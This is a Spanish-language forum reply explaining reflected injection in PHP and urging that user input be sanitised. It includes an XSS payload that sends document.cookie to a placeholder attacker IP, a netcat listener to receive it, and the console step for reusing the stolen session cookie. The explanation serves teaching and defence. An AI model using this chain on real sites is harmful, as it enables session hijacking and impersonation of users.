Cita de: MiguelCanellas en 19 Diciembre 2019, 15:57 PM
Lo que hago para eso (aunque no tenía noción) es validarlo, si en principio yo espero que el dato sea int, string, etc, también si es string que tenga un max de caracteres...
Volviendo a eso, esto de "inyección reflejada" ¿es solamente para decirle a el usuario un "mensaje falso" más allá de que esa variable puede ser usada como parámetro en una función, el único peligro real sería ese... ¿no? más allá de si se creen que los llame estúpidos xD... ¿no existiría una vulnerabilidad y no haría falta definir otra vez la variable como hice antes?
¿Validas en cliente o en servidor? Ten en cuenta que toda variable $_GET $_POST y algunas de las variables de $_SERVER deben de limpiarse en el PHP para poder usarlas de forma segura antes de utilizarlas. (En general cualquier cosa que venga del usuario)
En tu caso,por ejemplo si te pueden meter como valor de variable:
Código [Seleccionar]
<img src="" id="lalala"></img><script> lalala.src="http://IP_atacante:54471/"+document.cookie; </script>
Y si ponen un servidor a escuchar en la IP del atacante, por ejemplo con un netcat:
Código [Seleccionar]
nc -l -p 54471
Desde el equipo a la escucha podrían obtener la cookie de sesion, e impersonar al que ha pinchado al URL. (O ha visitado la página si es persistente.)
Despues el usuario no tiene mas que visitar la pagina, poner la consola de javascript y poner en ella:
Código [Seleccionar]
document.cookie=COOKIE_COPIADA
No se si se entiende. :\